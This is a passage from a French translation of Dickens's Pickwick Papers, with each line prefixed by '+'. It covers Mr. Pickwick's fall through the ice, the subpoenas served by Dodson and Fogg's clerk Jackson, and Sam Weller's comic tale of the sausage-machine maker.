+par Sam, et s'avançait sur la glace d'une manière singulière, mais
+très-peu aérienne, lorsque M. Pickwick cria, fort innocemment, du bord
+opposé:
+
+«Sam!
+
+--Monsieur!
+
+--Venez ici, j'ai besoin de vous.
+
+--Lâchez-moi, monsieur! Est-ce que vous n'entendez pas mon maître, qui
+m'appelle? Lâchez-moi donc, monsieur!»
+
+En parlant ainsi, Sam se dégagea par un violent effort, des mains du
+malheureux M. Winkle et lui communiqua en même temps une vitesse
+considérable. Aussi, avec une précision qu'aucune habileté n'aurait pu
+surpasser, l'infortuné patineur arriva-t-il rapidement au milieu de ses
+trois confrères, au moment même où M. Bob Sawyer accomplissait une
+figure d'une beauté sans pareille; M. Winkle se heurta violemment contre
+lui, et tous les deux tombèrent sur la glace avec un grand fracas. M.
+Pickwick accourut. Quand il arriva sur la place, Bob Sawyer était déjà
+relevé, mais M. Winkle était trop prudent pour en faire autant, avec des
+patins aux pieds. Il était assis sur la glace et faisait des efforts
+convulsifs pour sourire, tandis que chaque trait de son visage exprimait
+l'angoisse la plus profonde.
+
+«Êtes-vous blessé? demanda anxieusement Ben Allen.
+
+--Pas beaucoup, répondit M. Winkle, en frottant son dos.
+
+--Voulez-vous que je vous saigne? reprit Benjamin, avec un empressement
+généreux.
+
+--Non! non! merci, répliqua vivement le pickwickien désarçonné.
+
+--Qu'en pensez-vous, M. Pickwick? dit Bob Sawyer.»
+
+Le philosophe était indigné! Il fit un signe à Sam Weller, en disant
+d'une voix sévère:
+
+«Ôtez-lui ses patins.
+
+--Les ôter? mais je ne fais que commencer, représente M. Winkle, d'un
+ton de remontrance.
+
+--Ôtez-lui ses patins, répéta M. Pickwick avec fermeté.»
+
+On ne pouvait résister à un ordre donné de cette manière. M. Winkle
+permit silencieusement à Sam de l'exécuter.
+
+«Levez-le,» dit M. Pickwick.
+
+Sam aida M. Winkle à se relever.
+
+M. Pickwick s'éloigna de quelques pas, et ayant fait signe à son jeune
+ami de s'approcher, fixa sur lui un regard pénétrant et prononça d'un
+ton peu élevé, mais distinct et emphatique, ces paroles remarquables:
+
+«Vous êtes un imposteur, monsieur.
+
+--Un quoi? demanda M. Winkle en tressaillant.
+
+--Un imposteur, monsieur. Et je parlerai plus clairement si vous le
+désirez: un blagueur, monsieur.»
+
+Ayant laissé tomber ces mots d'une lèvre dédaigneuse, le philosophe
+tourna lentement sur ses talons, et rejoignit la société.
+
+Pendant que M. Pickwick exprimait l'opinion ci-dessus rapportée, Sam et
+le gros joufflu avaient réuni leurs efforts pour établir une glissade,
+et s'exerçaient d'une manière très-brillante. Sam, en particulier,
+exécutait cette admirable et romantique figure que l'on appelle
+vulgairement _cogner à la porte du savetier_, et qui consiste à glisser
+sur un pied, tandis que de l'autre on frappe de temps en temps la glace
+d'un coup redoublé.
+
+La glissade était longue et luisante, et comme M. Pickwick se sentait à
+moitié gelé d'être resté si longtemps tranquille, il y avait dans ce
+mouvement quelque chose qui semblait l'attirer.
+
+«Voilà un joli exercice, et qui doit bien réchauffer, n'est-ce pas?
+dit-il à M. Wardle.
+
+--Oui, ma foi! répondit celui-ci, qui était tout essouffle d'avoir
+converti ses jambes en une paire de compas infatigable pour tracer sur
+la glace mille figures géométriques. Glissez-vous?
+
+--Je glissais autrefois, quand j'étais enfant; sur les ruisseaux.
+
+--Essayez maintenant.
+
+--Oh! oui, monsieur Pickwick, s'il vous plaît! s'écrièrent toutes les
+dames.
+
+--Je serais enchanté de vous procurer quelque amusement, repartit le
+philosophe, mais il y a plus de trente ans que je n'ai glissé!
+
+--Bah! bah! enfantillage, reprit M. Wardle, en ôtant ses patins avec
+l'impétuosité qui le caractérisait. Allons! je vous tiendrai compagnie;
+venez!»
+
+Et en effet le joyeux vieillard s'élança sur la glissade avec une
+rapidité digne de Sam Weller, et qui enfonçait complètement le gros
+joufflu.
+
+M. Pickwick le contempla un instant d'un air réfléchi, ôta ses gants,
+les mit dans son chapeau, prit son élan deux ou trois fois sans pouvoir
+partir, et à la fin, après avoir couru sur la glace la longueur d'une
+centaine de pas, se lança sur la glissade et la parcourut lentement et
+gravement, avec ses jambes écartées de deux ou trois pieds. L'air
+retentissait au loin des applaudissements des spectateurs.
+
+«Il ne faut pas laisser à la marmite le temps de se refroidir,
+monsieur,» cria Sam; et le vieux Wardle s'élança de nouveau sur la
+glissade, suivi de M. Pickwick, puis de Sam, puis de M. Winkle, et puis
+de M. Bob Sawyer, puis du gros joufflu, et enfin de M. Snodgrass; chacun
+glissant sur les talons de son prédécesseur, tous courant l'un après
+l'autre avec autant d'ardeur que si le bonheur de toute leur vie avait
+dépendu de leur vélocité.
+
+La manière dont M. Pickwick exécutait son rôle dans cette cérémonie,
+offrait un spectacle du plus haut intérêt. Avec quelle anxiété, avec
+quelle torture, il s'apercevait que son successeur gagnait sur lui, au
+risque imminent de le renverser! Arrivé à la fin de la glissade, avec
+quelle satisfaction il se relâchait graduellement de la crispation
+pénible qu'il avait déployée d'abord, et, tournant sur lui-même,
+dirigeait son visage vers le point d'où il était parti! Quel jovial
+sourire se jouait sur ses lèvres quand il avait accompli sa distance,
+quel empressement pour reprendre son rang et pour courir après son
+prédécesseur! Ses guêtres noires trottaient gaiement à travers la neige;
+ses yeux rayonnaient de gaieté derrière ses lunettes, et quand il était
+renversé (ce qui arrivait en moyenne une fois sur trois tours), quel
+plaisir de lui voir ramasser vivement son chapeau, ses gants, son
+mouchoir, et reprendre sa place avec une physionomie enflammée, avec une
+ardeur, un enthousiasme que rien ne pouvait abattre!
+
+Le jeu s'échauffait de plus en plus; on glissait de plus en plus vite;
+on riait de plus en plus fort, quand un violent craquement se fit
+entendre. On se précipite vers le bord; les dames jettent un cri
+d'horreur; M. Tupman y répond par un gémissement; un vaste morceau de
+glace avait disparu; l'eau bouillonnait par-dessus; le chapeau, les
+gants, le mouchoir de M. Pickwick flottaient sur la surface: c'était
+tout ce qui restait de ce grand homme.
+
+La crainte, le désespoir étaient gravés sur tous les visages. Les hommes
+pâlissaient, les femmes se trouvaient mal; M. Snodgrass et M. Winkle
+s'étaient saisis convulsivement par la main, et contemplaient d'un oeil
+effaré la place où avait disparu leur maître; tandis que M. Tupman,
+emporté par le désir de secourir efficacement son ami, et de faire
+connaître, aussi clairement que possible, aux personnes qui pourraient
+se trouver aux environs, la nature de la catastrophe, courait à travers
+champs comme un possédé, en criant de toute la force de ses poumons: «Au
+feu! au feu! au feu!»
+
+Cependant le vieux Wardle et Sam Weller s'approchaient avec prudence de
+l'ouverture; M. Benjamin Allen et M. Bob Sawyer se consultaient sur la
+convenance qu'il y aurait à saigner généralement toute la compagnie,
+afin de s'exercer la main, lorsqu'une tête et des épaules sortirent de
+dessous les flots et offrirent aux regards enchantés des assistants les
+traits et les lunettes de M. Pickwick.
+
+«Soutenez-vous sur l'eau un instant, un seul instant, vociféra M.
+Snodgrass.
+
+--Oui! hurla M. Winkle, profondément ému; je vous en supplie,
+soutenez-vous sur l'eau, pour l'amour de moi!»
+
+Cette adjuration n'était peut-être pas fort nécessaire; car, suivant
+toutes les apparences, si M. Pickwick avait pu se soutenir sur l'eau, il
+n'aurait pas manqué de le faire pour l'amour de lui-même.
+
+«Eh! vieux camarade, dit M. Wardle, sentez-vous le fond?
+
+--Oui, certainement, répondit M. Pickwick, en respirant longuement et en
+pressant ses cheveux pour en faire découler l'eau; je suis tombé sur le
+dos, et je n'ai pas pu me remettre tout de suite sur mes jambes.»
+
+La vérité de cette assertion était corroborée par la cuirasse d'argile
+qui recouvrait la partie visible de l'habit de M. Pickwick; et, comme le
+gros joufflu se rappela soudainement que l'eau n'avait nulle part plus
+de quatre pieds de profondeur, des prodiges de valeur furent accomplis
+pour délivrer le philosophe embourbé. Après bien des craquements, des
+éclaboussures, des plongeons, M. Pickwick fut, à la fin, tiré de sa
+désagréable situation et se retrouva sur la terre ferme.
+
+«Oh, mon Dieu! il va attraper un rhume épouvantable, s'écria Émily.
+
+--Pauvre chère âme! dit Arabelle. Enveloppez-vous dans mon châle, M.
+Pickwick.
+
+--C'est ce qu'il y a de mieux à faire, ajouta M. Wardle. Ensuite, courez
+à la maison, aussi vite que vous pourrez, et fourrez-vous dans votre lit
+sur-le-champ.»
+
+Une douzaine de châles furent offerts à l'instant, et M. Pickwick, ayant
+été emmailloté dans trois ou quatre des plus chauds, s'élança vers la
+maison, sous la conduite de Sam, offrant à ceux qui le rencontraient le
+singulier phénomène d'un homme âgé, ruisselant d'eau, la tête nue, les
+bras attachés au corps par un châle féminin et trottant sans aucun but
+apparent avec une vitesse de six bons milles à l'heure.
+
+Mais, dans une circonstance aussi grave, M. Pickwick ne se souciait
+guère des apparences. Soutenu par Sam, il continua à courir de toutes
+ses forces jusqu'à la porte de Manoir-Ferme, où M. Tupman, arrivé
+quelques minutes avant lui, avait déjà répandu la terreur. La vieille
+lady, saisie de palpitations violentes, se désolait, dans l'inébranlable
+conviction que le feu avait pris à la cheminée de la cuisine: genre de
+calamité qui se présentait toujours à son esprit sous les plus affreuses
+couleurs, lorsqu'elle voyait autour d'elle la moindre agitation.
+
+M. Pickwick, sans perdre un instant, se coucha bien chaudement dans son
+lit. Sam alluma dans sa chambre un feu d'enfer et lui apporta son dîner.
+Bientôt après, on monta un bol de punch, et il y eut des réjouissances
+générales en l'honneur de son heureux sauvetage. Le vieux Wardle ne
+voulut pas lui permettre de se lever; mais son lit fut promu aux
+fonctions de _fauteuil_ de la présidence, et M. Pickwick, nommé
+président de la table. Un second, un troisième bol furent apportés, et
+le lendemain matin, quand le président s'éveilla, il ne ressentait aucun
+symptôme de rhumatisme. Ce qui prouve, comme le fit très-bien remarquer
+M. Bob Sawyer, qu'il n'y a rien de tel que le punch chaud dans des cas
+semblables, et que, si quelquefois le punch n'a pas produit l'effet
+désiré, c'est simplement parce que le patient était tombé dans l'erreur
+vulgaire de n'en pas prendre suffisamment.
+
+Le lendemain matin fut dissoute la joyeuse association que les fêtes de
+Noël avaient formée. Les collégiens qui se quittent en sent enchantés;
+mais plus tard, dans la vie du monde, ces séparations deviennent
+pénibles. La mort, l'intérêt, les changements de fortune divisent chaque
+jour d'heureux groupes, dont les membres, dispersés au loin, ne se
+rejoignent jamais. Nous ne voulons pas faire entendre que cela soit
+exactement le cas dans cette circonstance; nous désirons seulement
+informer nos lecteurs que les hôtes de M. Wardle se séparèrent pour le
+moment et s'en furent chacun chez soi. M. Pickwick et ses amis prirent
+de nouveau leur place à l'extérieur de la voiture de Muggleton, pendant
+que miss Arabelle Allen, sous la conduite de son frère Benjamin et de
+l'ami intime dudit frère, se rendait à sa destination. Nous sommes
+obligé de confesser que nous ne pourrions pas dire quelle était cette
+destination; mais nous avons quelques raisons de croire que M. Winkle ne
+l'ignorait pas.
+
+Quoi qu'il en soit, avant de quitter M. Pickwick, les jeunes étudiants
+le prirent à part d'un air mystérieux.
+
+«Dites donc, vieux, où se trouve votre perchoir?» lui demanda M. Bob
+Sawyer, en introduisant son index entre deux des côtes du philosophe,
+démontrant à la fois, par cette action, sa gaieté naturelle et ses
+connaissances ostéologiques.
+
+M. Pickwick répondit qu'il perchait, pour le moment, à l'hôtel du
+_George et Vautour_.
+
+«Vous devriez bien venir me voir, reprit M. Bob Sawyer.
+
+--Avec le plus grand plaisir, reprit M. Pickwick.
+
+--Voici mon adresse, dit Bob, en tirant une carte. _Lant-street,
+Borough_. C'est commode pour moi, comme vous voyez, tout auprès de
+_Guy's hospital_. Quand vous avez passé l'église Saint-George, vous
+tournez à droite.
+
+--Je vois cela d'ici.
+
+--Venez de jeudi en quinze, et amenez ces autres individus avec nous.
+J'aurai quelques étudiants en médecine ce soir-là; Ben y sera, et nous
+n'engendrerons pas de mélancolie.»
+
+M. Pickwick exprima la satisfaction qu'il éprouverait à rencontrer les
+étudiants en médecine; et, des poignées de main ayant été échangées, nos
+nouveaux amis se séparèrent.
+
+Nous sentons qu'en cet endroit nous sommes exposé à ce qu'on nous
+demande si M. Winkle chuchotait, pendant ce temps, avec Arabelle Allen,
+et, dans ce cas, ce qu'il lui disait; et, en outre, si M. Snodgrass
+causait à part avec Émily Wardle, et, dans ce cas, quel était le sujet
+de leur conversation. Nous répondrons à ceci que, quoi qu'ils aient pu
+dire aux jeunes demoiselles en question, ils ne dirent rien du tout à M.
+Pickwick, ni à M. Tupman, pendant vingt-quatre milles, et que, durant
+tout ce temps, ils soupirèrent toutes les trois minutes et refusèrent
+d'un air ténébreux l'ale et l'eau-de-vie qui leur étaient offertes. Si
+nos judicieuses lectrices peuvent tirer de ces faits quelques
+conclusions satisfaisantes, nous ne nous y opposons nullement.
+
+
+
+
+CHAPITRE II.
+
+Consacré tout entier à la loi et à ses savants interprètes.
+
+
+Dans divers coins et recoins du Temple, se trouvent certaines chambres
+sombres et malpropres, vers lesquelles se dirigent sans cesse pendant
+toute la matinée, dans le temps des vacances, et, en outre, durant la
+moitié de la soirée, dans le temps des sessions, une armée de clercs
+d'avoués portant d'énormes paquets de papiers sous leurs bras et dans
+leurs poches. Il y a plusieurs grades parmi les clercs: d'abord le
+premier clerc, qui a payé une pension, qui est avoué en perspective,
+possède un compte courant chez son tailleur, reçoit des invitations de
+soirées, connaît une famille dans Gower-street et une autre dans
+Tavistock-Square, quitte la ville aux vacances pour aller voir son père,
+entretient d'innombrables chevaux vivants, et est enfin l'aristocrate
+des clercs. Il y a le clerc salarié, externe ou interne, suivant les
+cas: il consacre la majeure partie de ses trente shillings hebdomadaires
+à orner sa personne et à la divertir. Trois fois par semaine, au moins,
+il assiste à moitié prix[1] aux représentations du théâtre d'_Adelphi_,
+et fait majestueusement la débauche dans les tavernes qui restent
+ouvertes après la fermeture des spectacles; il est enfin une caricature
+malpropre de la mode d'il y a six mois. Vient ensuite l'expéditionnaire,
+homme d'un certain âge, père d'une nombreuse famille: il est toujours
+râpé et souvent gris. Puis ce sont les saute-ruisseaux dans leur premier
+habit; ils éprouvent un mépris convenable pour les enfants à l'école, se
+cotisent en retournant à la maison, le soir, pour l'achat de saucissons
+et de _porter_, et pensent qu'il n'y a rien de tel que de faire la vie.
+Il y a, en un mot, des variétés de clercs trop nombreuses pour que nous
+puissions les énumérer, mais tout innombrables qu'elles soient, on les
+voit toutes, à certaines heures réglées, s'engouffrer dans les lieux
+sombres que nous venons de mentionner, ou en ressortir comme un torrent.
+
+[Footnote 1: À une certaine heure, les places des théâtres anglais ne se
+payent plus que moitié prix.]
+
+Ces antres, isolés du reste du monde, nous représentent les bureaux
+publics de la justice. Là sont lancées les assignations; là les
+jugements sont signés; là les déclarations sont remplies; là une
+multitude d'autres petites machines sont ingénieusement mises en
+mouvement pour la torture des fidèles sujets de Sa Majesté, et pour le
+profit des hommes de loi. Ce sont, pour la plupart, des salles basses,
+sentant le renfermé, où d'innombrables feuilles de parchemin qui y
+transpirent en secret depuis un siècle, émettent un agréable parfum,
+auquel vient se mêler, pendant la journée, une odeur de moisissure, et
+pendant la nuit, les exhalaisons de manteaux, de parapluies humides et
+de chandelles rances.
+
+Une quinzaine de jours après le retour de M. Pickwick à Londres, on vit
+entrer dans un de ces bureaux, vers 7 heures et demie du soir, un
+individu dont les longs cheveux étaient scrupuleusement roulés autour
+des bords de son chapeau, privé de poil. Il avait un habit brun, avec
+des boutons de cuivre, et son pantalon malpropre était si bien tiré sur
+ses bottes à la Blücher, que ses genoux menaçaient à chaque instant de
+sortir de leur retraite. Il aveignit de sa poche un morceau de
+parchemin, long et étroit, sur lequel le fonctionnaire officier imprima
+un timbre noir et illisible. Ledit individu tira ensuite, d'une autre
+poche, quatre morceaux de papier de dimension semblable, contenant, avec
+des blancs pour les noms, une copie imprimée du parchemin. Il remplit
+les blancs, remit les cinq documents dans sa poche et s'éloigna d'un pas
+précipité.
+
+L'homme à l'habit brun, qui emportait ces documents cabalistiques,
+n'était autre que notre vieille connaissance M. Jackson de la maison
+Dodson et Fogg, Freeman's Court, Cornhill. Mais au lieu de retourner
+vers l'étude d'où il venait, il dirigea ses pas vers Sun Court, et
+entrant tout droit dans l'hôtel du _George et Vautour_, il demanda si un
+certain M. Pickwick ne s'y trouvait pas.
+
+«Tom, dit la demoiselle de comptoir, appelez le domestique de M.
+Pickwick.»
+
+«Ce n'est pas la peine, reprit M. Jackson, je viens pour affaire. Si
+vous voulez m'indiquer la chambre de M. Pickwick, je monterai moi-même.»
+
+«Votre nom, monsieur? demanda le garçon.
+
+--Jackson,» répondit le clerc.
+
+Le garçon monta pour annoncer M. Jackson, mais M. Jackson lui épargna la
+peine de l'annoncer, en marchant sur ses talons, et en entrant dans la
+chambre avant qu'il eût pu articuler une syllabe.
+
+Ce jour-là, M. Pickwick avait invité ses trois amis à dîner, et ils
+étaient tous assis autour du feu, en train de boire leur vin, lorsque M.
+Jackson se présenta de la manière qui vient d'être indiquée.
+
+«Comment vous portez-vous, monsieur,» dit-il, en faisant un signe de
+tête à M. Pickwick.
+
+Le philosophe salua d'un air légèrement surpris, car la physionomie de
+M. Jackson ne s'était pas logée dans sa mémoire.
+
+«Je viens de chez Dodson et Fogg,» dit M. Jackson d'un ton explicatif.
+
+Notre héros s'échauffa à ce nom. «Monsieur, dit-il, adressez vous à mon
+homme d'affaire, Perker, de _Gray's-Inn_.--Garçon: reconduisez ce
+gentleman.
+
+--Je vous demande pardon, monsieur Pickwick, rétorqua Jackson en posant
+son chapeau par terre, d'un air délibéré, et en tirant de sa poche le
+morceau de parchemin. Vous savez, monsieur Pickwick, la citation doit
+être signifiée par un clerc ou un agent, parlant à sa personne, etc.,
+etc. Il faut de la prudence dans toutes les formalités légales, eh! eh!»
+
+M. Jackson appuya alors ses deux mains sur la table, et regardant à
+l'entour avec un sourire engageant et persuasif il continua ainsi:
+«Allons, n'ayons pas de discussions pour si peu de chose,--qui de vous,
+messieurs, s'appelle Snodgrass?»
+
+À cette demande, M. Snodgrass tressaillit si visiblement qu'il n'eut
+pas besoin de faire une autre réponse.
+
+«Ah! je m'en doutais, dit Jackson d'une manière plus affable
+qu'auparavant. J'ai un petit papier à vous remettre, monsieur.
+
+--À moi? s'écria M. Snodgrass.
+
+--C'est seulement une citation, un _sub poena_ dans l'affaire Bardell et
+Pickwick, à la requête de la plaignante, répliqua le clerc, en
+choisissant un de ses morceaux de papier, et tirant un shilling de se
+poche. Nous pensons que ce sera pour le 14 février, bien que la citation
+porte la date du dix, et nous avons demandé un jury spécial. Voilà pour
+vous, monsieur Snodgrass;» et en parlant ainsi, M. Jackson présenta le
+parchemin devant les yeux de M. Snodgrass, et glissa dans sa main le
+papier et le shilling.
+
+M. Tupman avait considéré cette opération avec un étonnement silencieux.
+Soudain le clerc lui dit, en se tournant vers lui à l'improviste:
+
+«Je ne me trompe pas en disant que votre nom est Tupman, monsieur?»
+
+M. Tupman jeta un coup d'oeil à M. Pickwick; mais n'apercevant dans ses
+yeux tout grands ouverts aucun encouragement à nier son identité, il
+répliqua:
+
+«Oui, monsieur, mon nom est Tupman.
+
+--Et cet autre gentleman est M. Winkle, j'imagine?»
+
+M. Winkle balbutia une réponse affirmative, et tous les deux furent
+alors approvisionnés d'un morceau de papier et d'un shilling par
+l'adroit M. Jackson.
+
+«Maintenant, dit-il, j'ai peur que vous ne me trouviez importun, mais
+j'ai encore besoin de quelqu'un, si vous le permettez. J'ai ici le nom
+de Samuel Weller, monsieur Pickwick.
+
+--Garçon, dit M. Pickwick, envoyez mon domestique.»
+
+Le garçon se retira fort étonné, et M. Pickwick fit signe à Jackson de
+s'asseoir.
+
+Il y eut un silence pénible, qui fut à la fin rompu par l'innocent
+défendeur.
+
+«Monsieur, dit-il, et son indignation s'accroissait en parlant, je
+suppose que l'intention de vos patrons est de chercher à m'incriminer
+par le témoignage de mes propres amis?»
+
+M. Jackson frappa plusieurs fois son index sur le côté gauche de son
+nez, afin d'intimer qu'il n'était pas là pour divulguer les secrets de
+la boutique, puis il répondit d'un air jovial:
+
+«Peux pas dire.... Sais pas.
+
+--Pour quelle autre raison, monsieur, ces citations leur auraient-elles
+été remises?
+
+--Votre souricière est très-bonne, monsieur Pickwick, répliqua Jackson
+en secouant la tête; mais je ne donne pas dans le panneau. Il n'y a pas
+de mal à essayer, mais il n'y a pas grand'chose à tirer de moi.»
+
+En parlant ainsi, M. Jackson accorda un nouveau sourire à la compagnie;
+et, appliquant son pouce gauche au bout de son nez, fit tourner avec sa
+main droite un moulin à café imaginaire, accomplissant ainsi une
+gracieuse pantomime, fort en vogue à cette époque, mais par malheur
+presque oubliée maintenant, et que l'on appelait _faire le moulin_.
+
+«Non, non, monsieur Pickwick, dit-il comme conclusion. Les gens de
+Perker prendront la peine de deviner pourquoi nous avons lancé ces
+citations; s'ils ne le peuvent pas, ils n'ont qu'à attendre jusqu'à ce
+que l'action arrive, et ils le sauront alors.»
+
+M. Pickwick jeta un regard de dégoût excessif à son malencontreux
+visiteur, et aurait probablement accumulé d'effroyables anathèmes sur la
+tête de MM. Dodson et Fogg, s'il n'en avait pas été empêché par
+l'arrivée de Sam.
+
+«Samuel Weller? dit M. Jackson interrogativement.
+
+--Une des plus grandes vérités que vous ayez dites depuis bien
+longtemps, répondit Sam d'un air fort tranquille.
+
+--Voici un _sub poena_ pour vous, monsieur Weller?
+
+--Qu'est-ce que c'est que ça, en anglais?
+
+--Voici l'original, poursuivit Jackson, sans vouloir donner d'autre
+explication.
+
+--Lequel?
+
+--Ceci, répliqua Jackson en secouant le parchemin.
+
+--Ah! c'est ça l'original? Eh bien! je suis charmé d'avoir vu
+l'original; c'est un spectacle bien agréable et qui me réjouit beaucoup
+l'esprit.
+
+--Et voici le shilling: c'est de la part de Dodson et Fogg.
+
+--Et c'est bien gentil de la part de Dodson et Fogg, qui me connaissent
+si peu, de m'envoyer un cadeau. Voilà ce que j'appelle une fière
+politesse, monsieur. C'est très-honorable pour eux de récompenser comme
+ça le mérite où il se trouve; m'en voilà tout ému.»
+
+En parlant ainsi, Sam fit avec sa manche une petite friction sur sa
+paupière gauche, à l'instar des meilleurs acteurs quand ils exécutent du
+pathétique bourgeois.
+
+M. Jackson paraissait quelque peu intrigué par les manières de Sam;
+mais, comme il avait remis les citations et n'avait plus rien à dire, il
+fit la feinte de mettre le gant unique qu'il portait ordinairement dans
+sa main, pour sauver les apparences, et retourna à son étude rendre
+compte de sa mission.
+
+M. Pickwick dormit peu cette nuit-là. Sa mémoire avait été
+désagréablement rafraîchie au sujet de l'action Bardell. Il déjeuna de
+bonne heure le lendemain, et ordonnant à Sam de l'accompagner, se mit en
+route pour _Gray's Inn Square_.
+
+Au bout de Cheapside, M. Pickwick, dit en regardant derrière lui:
+
+«Sam!
+
+--Monsieur, fit Sam en s'avançant auprès de son maître.
+
+--De quel côté?
+
+--Par Newgate-Street, monsieur.»
+
+M. Pickwick ne se remit pas immédiatement en route, mais pendant
+quelques secondes il regarda d'un air distrait le visage de Sam et
+poussa un profond soupir.
+
+«Qu'est-ce qu'il y a, monsieur?
+
+--Ce procès, Sam; il doit arriver le 14 du mois prochain.
+
+--Remarquable coïncidence, monsieur.
+
+--Quoi de remarquable, Sam?
+
+--Le jour de la saint Valentin[2], monsieur. Fameux jour pour juger une
+violation de promesse de mariage.»
+
+[Footnote 2: Jour où un grand nombre d'amoureux et d'amoureuses
+s'adressent, sous le voile de l'anonyme, des déclarations sérieuses ou
+ironiques.]
+
+Le sourire de Sam Weller n'éveilla aucun rayon de gaieté sur le visage
+de son maître, qui se détourna vivement et continua son chemin en
+silence.
+
+Depuis quelque temps, M. Pickwick, plongé dans une profonde méditation,
+trottait en avant et Sam suivait par derrière, avec une physionomie qui
+exprimait la plus heureuse et la plus enviable insouciance de chacun et
+de chaque chose; tout à coup, Sam, qui était toujours empressé de
+communiquer à son maître les connaissances spéciales qu'il possédait,
+hâta le pas jusqu'à ce qu'il fût sur les talons de M. Pickwick, et, lui
+montrant une maison devant laquelle ils passaient, lui dit:
+
+«Une jolie boutique de charcuterie, ici, monsieur.
+
+--Oui; elle en a l'air.
+
+--Une fameuse fabrique de saucisses.
+
+--Vraiment?
+
+--Vraiment? répéta Sam avec une sorte d'indignation, un peu! Mais vous
+ne savez donc rien de rien, monsieur? C'est là qu'un respectable
+industriel a disparu mystérieusement il y a quatre ans.»
+
+M. Pickwick se retourna brusquement.
+
+«Est-ce que vous voulez dire qu'il a été assassiné?
+
+--Non, monsieur; mais je voudrais pouvoir le dire! C'est pire que ça,
+monsieur. Il était le maître de cette boutique et l'inventeur d'une
+nouvelle mécanique à vapeur, patentée, pour fabriquer des saucisses sans
+fin. Sa machine aurait avalé un pavé, si vous l'aviez mis auprès, et
+l'aurait broyé en saucisses aussi aisément qu'un tendre bébé. Il était
+joliment fier de sa mécanique, comme vous pensez; et, quand elle était
+en mouvement, il restait dans la cave pendant plusieurs heures, jusqu'à
+ce qu'il devint tout mélancolique de joie. Il aurait été heureux comme
+un roi dans la possession de cette mécanique-là et de deux jolis enfants
+par-dessus le marché, s'il n'avait pas eu une femme qui était la plus
+mauvaise des mauvaises. Elle était toujours autour de lui à le
+tarabuster et à lui corner dans les oreilles, tant qu'il n'y pouvait
+plus tenir. «Voyez-vous, ma chère, qu'il lui dit un jour, si vous
+persévérez dans cette sorte d'amusement, je veux être pendu si je ne
+pars pas pour l'Amérique. Et voilà, qu'il dit.--Vous êtes un grand
+feignant, qu'elle dit; et cela leur fera une belle jambe aux Américains,
+si vous y allez.» Alors elle continue à l'agoniser pendant une
+demi-heure, et puis elle court dans le petit parloir, derrière la
+boutique, et elle tombe dans des attaques, et elle crie qu'il la fera
+périr, et tout ça avec des coups de pied et des coups de poing, que ça
+dure trois heures. Pour lors, voilà que le lendemain matin, le mari ne
+se trouve pas. Il n'avait rien pris dans la caisse; il n'avait même pas
+mis son paletot; ainsi, il était clair qu'il ne s'était pas payé
+l'Amérique. Cependant il ne revient pas le jour d'après, ni la semaine
+d'après non plus. La bourgeoise fait imprimer des affiches, pour dire
+que, s'il revenait, elle lui pardonnerait tout. Ce qui était fort
+libéral de sa part, puisqu'il ne lui avait rien fait au monde. Alors,
+tous les canaux sont visités; et, pendant deux mois après, toutes les
+fois qu'on trouvait un corps mort, on le portait tout de go à la
+boutique des saucisses; mais pas un ne répondait au signalement. Elle
+fit courir le bruit que son mari s'était sauvé, et elle continua son
+commerce. Un samedi soir, un vieux petit gentleman, très-maigre, vient
+dans la boutique, en grande colère. «Êtes-vous la maîtresse de cette
+boutique ici? dit-il.--Oui, qu'elle dit.--Eh bien! madame, je suis venu
+pour vous avertir que ma famille et moi nous ne voulons pas être
+étranglés à cause de vous. Et plus que ça; permettez-moi de vous
+observer, madame, que, comme vous ne mettez pas de la viande de premier
+choix dans vos saucisses, vous pourriez bien trouver du boeuf aussi bon
+marché que des boutons.--Des boutons? monsieur, dit-elle.--Des boutons,
+madame, dit l'autre en déployant un morceau de papier et lui montrant
+vingt ou trente moitiés de boutons. Voilà un joli assaisonnement pour
+des saucisses, madame; des boutons de culotte.--Saperlote! s'écrie la
+veuve en se trouvant mal, c'est les boutons de mon mari!» Là-dessus,
+voila le vieux petit gentleman qui devient blanc comme du saindoux. «Je
+vois ce que c'est, dit la veuve; dans un moment d'impatience, il s'est
+bêtement converti en saucisses!» Et c'était vrai, monsieur, poursuivit
+Sam en regardant en face le visage plein d'horreur de M. Pickwick,
+c'était vrai. Ou bien, peut-être qu'il avait été pris dans la machine.
+Mais, en tout cas, le petit vieux gentleman, qui avait toujours adoré
+les saucisses, se sauva de la boutique comme un fou, et on n'en a jamais
+plus entendu parler depuis!»
+
+La relation de cette touchante tragédie domestique amena le maître et le
+valet au cabinet de M. Perker. M. Lowten, tenant la porte à moitié
+ouverte, était en conversation avec un homme dont l'air et les vêtements
+paraissaient également misérables. Ses bottes étaient sans talons, et
+ses gants sans doigts. On voyait des traces de souffrances, de
+privations, presque de désespoir sur sa figure maigre et creusée par les
+soucis. Il avait la conscience de sa pauvreté, car il se rangea sur le
+côté obscur de l'escalier, lorsque M. Pickwick approcha.
+
+«C'est bien malheureux, disait l'étranger avec un soupir.
+
+--Effectivement, répondit Lowten, en griffonnant son nom sur la porte,
+et en l'effaçant avec la barbe de sa plume. Voulez-vous lui faire dire
+quelque chose?
+
+--Quand pensez-vous qu'il reviendra?
+
+--Je n'en sais rien du tout, répliqua Lowten, en clignant de l'oeil à M.
+Pickwick, pendant que l'étranger abaissait ses regards vers le plancher.
+
+--Ce n'est donc pas la peine de l'attendre? demanda le pauvre homme, en
+regardant d'un air d'envie dans le bureau.
+
+--Oh! non, rétorqua le clerc en se plaçant plus exactement au centre de
+la porte. Il est bien certain qu'il ne reviendra pas cette semaine... et
+c'est bien du hasard si nous le voyons la semaine d'après. Quand une
+fois Perker est hors de la ville, il ne se presse pas d'y revenir.
+
+--Hors de la ville! s'écria M. Pickwick, juste ciel! que c'est
+malheureux!
+
+--Ne vous en allez pas, monsieur Pickwick, dit Lowten; J'ai une lettre
+pour vous.»
+
+L'étranger parut hésiter. Il contempla de nouveau le plancher; et le
+clerc fit un signe du coin de l'oeil à M. Pickwick, comme pour lui faire
+entendre qu'il y avait sous jeu une excellente plaisanterie: mais, ce
+que c'était, le philosophe n'aurait pas pu le deviner, quand il se
+serait agi de sa vie.
+
+«Entrez, monsieur Pickwick, dit Lowten. Eh bien! monsieur Watty,
+voulez-vous me donner un message, ou bien revenir?
+
+--Priez-le de laisser un mot pour m'apprendre où en est mon affaire,
+répondit le malheureux Watty. Pour l'amour de Dieu! ne l'oubliez pas,
+monsieur Lowten.
+
+--Non, non, je ne l'oublierai pas, répliqua le clerc.--Entrez, monsieur
+Pickwick.--Bonjour, monsieur Watty... un joli temps pour se promener,
+n'est-ce pas?» Ayant ainsi parlé, et voyant que l'étranger hésitait
+encore, il fit signe à Sam de suivre son maître dans l'appartement, et
+ferma la porte au nez du pauvre diable.
+
